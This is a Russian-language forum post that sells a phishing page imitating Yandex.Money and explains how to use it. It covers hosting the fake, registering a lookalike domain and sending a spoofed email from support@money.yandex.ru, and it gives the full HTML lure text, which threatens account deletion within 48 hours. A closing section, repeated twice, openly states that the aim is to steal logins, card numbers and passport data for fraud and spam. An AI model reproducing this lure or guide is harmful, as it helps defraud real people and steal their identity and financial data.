MaserHack
Дебютант
Плюсы фейка:
Проверяет вводимые данные на адекватность (java, ajax);
Хостинг нужен без MySQL;
Красивый и правдоподобный дизайн фейка;
Правдоподобность происходящего так скажем;
Инструкция:
Регаем бесплатный хостинг (либо платный, покупаем домен, тут как хотите);
Распаковываем архив, заливаем файлы по FTP на хостинг;
Пишем жертве анонимное фейкове письмо, якобы от администрации Яндекс.Деньги;
Курим отчеты и радуемся!
Жертва постоянно должна заходить в ящик и проявлять активность, иначе кто же заполнит нам форму в фейке!
Анонимное письмо нужно писать с поддержкой HTML, используя тот же "MAS" by yMa
Домен кстати зарегайте хотя бы более-менее похожий на "yandex"
Тема Письма: Яндекс.Деньги
От (email): support@money.yandex.ru
От (имя): support@money.yandex.ru
Кому (email): lamka@yandex.ru (тут мыло Вашей жертвы)
Код:
<p>
Здравствуйте!
</p>
<p>
На вашем счете: <font color="green"><b>??? руб. ?? коп.</b></font><br>
Крайне необходима повторная активация Вашего счета.<br>
Чтобы подтверить введенные Вами данные ранее, необходимо пройти по <a href="http://ccылка_на_ваш_хост_с_фейком/index.htm"><font color="dodgerblue"><b>ссылке</b></font></a> и заполнить форму.<br>
Если Вы не активируете свой аккаунт и не подтвердите данные, то Ваш счет будет <font color="crimson"><b>удален</b></font> в течении 48 часов.
<p>С уважением, коллектив Яндекс.Деньги</p>
</p>Можно придумать и свой текст, тут кто на что горазд.
Фейк стоит 50р писать в skype don.carleone84
p.s
Для чего нужны фейки?
-Такие подделки нам нужны для мошенничества. А именно для фишинг-атак.
Фишинг (англ. phishing, от password — пароль и fishing — рыбная ловля, выуживание) — вид интернет-мошенничества, цель которого — получить идентификационные данные пользователей.
Какие данные мы можем получить?
- Идентификациооные данные. Не только логин и пароль, а так же такие данные, как номера кридитных карт, номера паспартов, именя, фамилии и пр. личные данные. Фейк - не обязятельно копия чего-то существующего, мы можем сами создать свой интернет сайт и использовать его для фишинг-атак на наивных юзеров.
Для чего нам нужны похищенные данные?
- Здесь все понятно, имея чужой логин и пароль мы можем пройти авторизацию на определенных хостах и получить доступ к закрытой\личной информации. Так же мы можем использовать эти данные для того, чтоб пользваться аккаунтами при распространении спама, флуда и тд.
-Такие подделки нам нужны для мошенничества. А именно для фишинг-атак.
Фишинг (англ. phishing, от password — пароль и fishing — рыбная ловля, выуживание) — вид интернет-мошенничества, цель которого — получить идентификационные данные пользователей.
Какие данные мы можем получить?
- Идентификациооные данные. Не только логин и пароль, а так же такие данные, как номера кридитных карт, номера паспартов, именя, фамилии и пр. личные данные. Фейк - не обязятельно копия чего-то существующего, мы можем сами создать свой интернет сайт и использовать его для фишинг-атак на наивных юзеров.
Для чего нам нужны похищенные данные?
- Здесь все понятно, имея чужой логин и пароль мы можем пройти авторизацию на определенных хостах и получить доступ к закрытой\личной информации. Так же мы можем использовать эти данные для того, чтоб пользваться аккаунтами при распространении спама, флуда и тд.
Последнее редактирование: